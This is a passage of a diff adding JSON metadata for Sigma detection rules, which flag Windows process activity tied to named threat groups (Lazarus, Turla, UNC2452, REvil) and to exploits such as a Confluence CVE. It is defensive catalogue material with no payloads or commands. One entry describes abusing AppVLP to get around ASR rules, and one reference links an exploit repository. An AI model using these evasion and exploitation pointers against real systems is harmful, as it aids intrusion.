"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gamaredon_ultravnc.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.g0047", + "attack.t1021.005" + ], + "creation_date": "2022/03/04", + "filename": "proc_creation_win_apt_gamaredon_ultravnc.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects tools and process executions as observed in a Greenbug campaign in May 2020", + "uuid": "3711eee4-a808-4849-8a14-faf733da3612", + "value": "Greenbug Campaign Indicators", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_greenbug_may20.yml" + ], + "tags": [ + "attack.g0049", + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2020/05/20", + "filename": "proc_creation_win_apt_greenbug_may20.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers", + "uuid": "bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7", + "value": "Exchange Exploitation Activity", + "meta": { + "refs": [ + "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", + "https://twitter.com/GadixCRK/status/1369313704869834753?s=20", + "https://twitter.com/BleepinComputer/status/1372218235949617161", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hafnium.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546", + "attack.t1053" + ], + "creation_date": "2021/03/09", + "filename": "proc_creation_win_apt_hafnium.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Hurricane Panda Activity", + "uuid": "0eb2107b-a596-422e-b123-b389d5594ed7", + "value": "Hurricane Panda Activity", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hurricane_panda.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.g0009", + "attack.t1068" + ], + "creation_date": "2019/03/04", + "filename": "proc_creation_win_apt_hurricane_panda.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike", + "uuid": "03e2746e-2b31-42f1-ab7a-eb39365b2422", + "value": "Judgement Panda Exfil Activity", + "meta": { + "refs": [ + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_judgement_panda_gtr19.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.g0010", + "attack.credential_access", + "attack.t1003.001", + "attack.exfiltration", + "attack.t1560.001" + ], + "creation_date": "2019/02/21", + "filename": "proc_creation_win_apt_judgement_panda_gtr19.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Registry modifications performed by Ke3chang malware in campaigns running in 2019 and 2020", + "uuid": "7b544661-69fc-419f-9a59-82ccc328f205", + "value": "Ke3chang Registry Key Modifications", + "meta": { + "refs": [ + "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", + "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ke3chang_regadd.yml" + ], + "tags": [ + "attack.g0004", + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/06/18", + "filename": "proc_creation_win_apt_ke3chang_regadd.yml", + "author": "Markus Neis, Swisscom", + "level": "critical", + "falsepositive": [ + "Will need to be looked for combinations of those processes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity", + "uuid": "4a12fa47-c735-4032-a214-6fab5b120670", + "value": "Lazarus Activity", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_apr21.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1106" + ], + "creation_date": "2021/04/20", + "filename": "proc_creation_win_apt_lazarus_activity_apr21.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Should not be any false positives" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects different process creation events as described in various threat reports on Lazarus group activity", + "uuid": "24c4d154-05a4-4b99-b57d-9b977472443a", + "value": "Lazarus Activity", + "meta": { + "refs": [ + "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", + "https://www.hvs-consulting.de/lazarus-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_dec20.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/12/23", + "filename": "proc_creation_win_apt_lazarus_activity_dec20.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Overlap with legitimate process activity in some cases (especially selection 3 and 4)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects different loaders as described in various threat reports on Lazarus group activity", + "uuid": "7b49c990-4a9a-4e65-ba95-47c9cc448f6e", + "value": "Lazarus Loaders", + "meta": { + "refs": [ + "https://www.hvs-consulting.de/lazarus-report/", + "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_loader.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/12/23", + "filename": "proc_creation_win_apt_lazarus_loader.yml", + "author": "Florian Roth, wagga", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects executables launched outside their default directories as used by Lazarus Group (Bluenoroff)", + "uuid": "3f7f5b0b-5b16-476c-a85f-ab477f6dd24b", + "value": "Lazarus Session Highjacker", + "meta": { + "refs": [ + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_session_highjack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2020/06/03", + "filename": "proc_creation_win_apt_lazarus_session_highjack.yml", + "author": "Trent Liffick (@tliffick), Bartlomiej Czyz (@bczyz1)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line patterns as seen being used by MERCURY threat actor", + "uuid": "a62298a3-1fe0-422f-9a68-ffbcbc5a123d", + "value": "MERCURY Command Line Patterns", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.g0069" + ], + "creation_date": "2022/08/26", + "filename": "proc_creation_win_apt_mercury.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detecting DNS tunnel activity for Muddywater actor", + "uuid": "36222790-0d43-4fe8-86e4-674b27809543", + "value": "DNS Tunnel Technique from MuddyWater", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/", + "https://www.vmray.com/analyses/5ad401c3a568/report/overview.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_dnstunnel.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2020/06/04", + "filename": "proc_creation_win_apt_muddywater_dnstunnel.yml", + "author": "@caliskanfurkan_", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process parameters as used by Mustang Panda droppers", + "uuid": "2d87d610-d760-45ee-a7e6-7a6f2a65de00", + "value": "Mustang Panda Dropper", + "meta": { + "refs": [ + "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", + "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ], + "creation_date": "2019/10/30", + "filename": "proc_creation_win_apt_mustangpanda.yml", + "author": "Florian Roth, oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)", + "uuid": "5de632bc-7fbd-4c8a-944a-fce55c59eae5", + "value": "REvil Kaseya Incident Malware Patterns", + "meta": { + "refs": [ + "https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers", + "https://www.joesandbox.com/analysis/443736/0/html", + "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", + "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", + "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_revil_kaseya.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.g0115" + ], + "creation_date": "2021/07/03", + "filename": "proc_creation_win_apt_revil_kaseya.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Silence downloader. These commands are hardcoded into the binary.", + "uuid": "170901d1-de11-4de7-bccb-8fa13678d857", + "value": "Silence.Downloader V3", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_silence_downloader_v3.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "attack.discovery", + "attack.t1057", + "attack.t1082", + "attack.t1016", + "attack.t1033", + "attack.g0091" + ], + "creation_date": "2019/11/01", + "filename": "proc_creation_win_apt_silence_downloader_v3.yml", + "author": "Alina Stepchenkova, Roman Rezvukhin, Group-IB, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", + "uuid": "958d81aa-8566-4cea-a565-59ccd4df27b0", + "value": "Defrag Deactivation", + "meta": { + "refs": [ + "https://securelist.com/apt-slingshot/84312/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005", + "attack.s0111" + ], + "creation_date": "2019/03/04", + "filename": "proc_creation_win_apt_slingshot.yml", + "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Trojan loader activity as used by APT28", + "uuid": "ba778144-5e3d-40cf-8af9-e28fb1df1e20", + "value": "Sofacy Trojan Loader Activity", + "meta": { + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", + "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100", + "https://twitter.com/ClearskySec/status/960924755355369472", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml" + ], + "tags": [ + "attack.g0007", + "attack.execution", + "attack.t1059.003", + "attack.defense_evasion", + "car.2013-10-002", + "attack.t1218.011" + ], + "creation_date": "2018/03/01", + "filename": "proc_creation_win_apt_sofacy.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM", + "uuid": "7ba08e95-1e0b-40cd-9db5-b980555e42fd", + "value": "SOURGUM Actor Behaviours", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", + "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sourgrum.yml" + ], + "tags": [ + "attack.t1546", + "attack.t1546.015", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/15", + "filename": "proc_creation_win_apt_sourgrum.yml", + "author": "MSTIC, FPT.EagleEye", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report", + "uuid": "18da1007-3f26-470f-875d-f77faf1cab31", + "value": "Ps.exe Renamed SysInternals Tool", + "meta": { + "refs": [ + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta17_293a_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.g0035", + "attack.t1036.003", + "car.2013-05-009" + ], + "creation_date": "2017/10/22", + "filename": "proc_creation_win_apt_ta17_293a_ps.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Renamed SysInternals tool" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents", + "uuid": "18cf6cf0-39b0-4c22-9593-e244bdc9a2d4", + "value": "TA505 Dropper Load Pattern", + "meta": { + "refs": [ + "https://twitter.com/ForensicITGuy/status/1334734244120309760", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta505_dropper.yml" + ], + "tags": [ + "attack.execution", + "attack.g0092", + "attack.t1106" + ], + "creation_date": "2020/12/08", + "filename": "proc_creation_win_apt_ta505_dropper.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Chinese TAIDOOR RAT malware load", + "uuid": "d1aa3382-abab-446f-96ea-4de52908210b", + "value": "TAIDOOR RAT DLL Load", + "meta": { + "refs": [ + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_taidoor.yml" + ], + "tags": [ + "attack.execution", + "attack.t1055.001" + ], + "creation_date": "2020/07/30", + "filename": "proc_creation_win_apt_taidoor.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia", + "uuid": "8c7090c3-e0a0-4944-bd08-08c3a0cecf79", + "value": "TropicTrooper Campaign November 2018", + "meta": { + "refs": [ + "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/11/12", + "filename": "proc_creation_win_apt_tropictrooper.yml", + "author": "@41thexplorer, Microsoft Defender ATP", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects automated lateral movement by Turla group", + "uuid": "c601f20d-570a-4cde-a7d6-e17f99cb8e7f", + "value": "Turla Group Lateral Movement", + "meta": { + "refs": [ + "https://securelist.com/the-epic-turla-operation/65545/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1059", + "attack.lateral_movement", + "attack.t1021.002", + "attack.discovery", + "attack.t1083", + "attack.t1135" + ], + "creation_date": "2017/11/07", + "filename": "proc_creation_win_apt_turla_commands_critical.yml", + "author": "Markus Neis", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects automated lateral movement by Turla group", + "uuid": "75925535-ca97-4e0a-a850-00b5c00779dc", + "value": "Turla Group Lateral Movement", + "meta": { + "refs": [ + "https://securelist.com/the-epic-turla-operation/65545/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_medium.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1059", + "attack.lateral_movement", + "attack.t1021.002", + "attack.discovery", + "attack.t1083", + "attack.t1135" + ], + "creation_date": "2017/11/07", + "filename": "proc_creation_win_apt_turla_commands_medium.yml", + "author": "Markus Neis", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects commands used by Turla group as reported by ESET in May 2020", + "uuid": "9e2e51c5-c699-4794-ba5a-29f5da40ac0c", + "value": "Turla Group Commands May 2020", + "meta": { + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_comrat_may20.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1059.001", + "attack.t1053.005", + "attack.t1027" + ], + "creation_date": "2020/05/26", + "filename": "proc_creation_win_apt_turla_comrat_may20.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries", + "uuid": "9be34ad0-b6a7-4fbd-91cf-fc7ec1047f5f", + "value": "UNC2452 Process Creation Patterns", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/01/22", + "filename": "proc_creation_win_apt_unc2452_cmds.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports", + "uuid": "b7155193-8a81-4d8f-805d-88de864ca50c", + "value": "UNC2452 PowerShell Pattern", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_ps.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1047" + ], + "creation_date": "2021/01/20", + "filename": "proc_creation_win_apt_unc2452_ps.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", + "uuid": "7453575c-a747-40b9-839b-125a0aae324b", + "value": "Unidentified Attacker November 2018", + "meta": { + "refs": [ + "https://twitter.com/DrunkBinary/status/1063075530180886529", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unidentified_nov_18.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218.011" + ], + "creation_date": "2018/11/20", + "filename": "proc_creation_win_apt_unidentified_nov_18.yml", + "author": "@41thexplorer, Microsoft Defender ATP", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities", + "uuid": "3121461b-5aa0-4a41-b910-66d25524edbb", + "value": "Winnti Malware HK University Campaign", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_mal_hk_jan20.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.g0044" + ], + "creation_date": "2020/02/01", + "filename": "proc_creation_win_apt_winnti_mal_hk_jan20.yml", + "author": "Florian Roth, Markus Neis", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Winnti Pipemon malware reported by ESET", + "uuid": "73d70463-75c9-4258-92c6-17500fe972f2", + "value": "Winnti Pipemon Characteristics", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_pipemon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.g0044" + ], + "creation_date": "2020/07/30", + "filename": "proc_creation_win_apt_winnti_pipemon.yml", + "author": "Florian Roth, oscd.community", + "level": "critical", + "falsepositive": [ + "Legitimate setups that use similar flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity mentioned in Operation Wocao report", + "uuid": "1cfac73c-be78-4f9a-9b08-5bde0c3953ab", + "value": "Operation Wocao Activity", + "meta": { + "refs": [ + "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", + "https://twitter.com/SBousseaden/status/1207671369963646976", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1036.004", + "attack.t1027", + "attack.execution", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2019/12/20", + "filename": "proc_creation_win_apt_wocao.yml", + "author": "Florian Roth, frack113", + "level": "high", + "falsepositive": [ + "Administrators that use checkadmin.exe tool to enumerate local administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a ZxShell start by the called and well-known function name", + "uuid": "f0b70adb-0075-43b0-9745-e82a1c608fcc", + "value": "ZxShell Malware", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_zxshell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.defense_evasion", + "attack.t1218.011", + "attack.s0412", + "attack.g0001" + ], + "creation_date": "2017/07/20", + "filename": "proc_creation_win_apt_zxshell.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.", + "uuid": "24de4f3b-804c-4165-b442-5a06a2302c7e", + "value": "Arbitrary Shell Command Execution Via Settingcontent-Ms", + "meta": { + "refs": [ + "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml" + ], + "tags": [ + "attack.t1204", + "attack.t1566.001", + "attack.execution", + "attack.initial_access" + ], + "creation_date": "2020/03/13", + "filename": "proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)", + "uuid": "fcdf69e5-a3d3-452a-9724-26f2308bf2b1", + "value": "Phishing Pattern ISO in Archive", + "meta": { + "refs": [ + "https://twitter.com/1ZRR4H/status/1534259727059787783", + "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_archiver_iso_phishing.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566" + ], + "creation_date": "2022/06/07", + "filename": "proc_creation_win_archiver_iso_phishing.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not extraction" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", + "uuid": "9c7e131a-0f2c-4ae0-9d43-b04f4e266d43", + "value": "Using AppVLP To Circumvent ASR File Path Rule", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_asr_bypass_via_appvlp_re.yml" + ], + "tags": [ + "attack.t1218", + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2020/03/13", + "filename": "proc_creation_win_asr_bypass_via_appvlp_re.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084", + "uuid": "245f92e3-c4da-45f1-9070-bc552e06db11", + "value": "Atlassian Confluence CVE-2021-26084", + "meta": { + "refs": [ + "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", + "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", + "https://github.com/h3v0x/CVE-2021-26084_Confluence", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.execution", + "attack.t1190", + "attack.t1059" + ], + "creation_date": "2021/09/08", + "filename": "proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of attrib.exe to hide files from users.", + "uuid": "4281cb20-2994-4580-aa63-c8b86d019934", + "value": "Hiding Files with Attrib.exe", + "meta": { + "refs": [ + 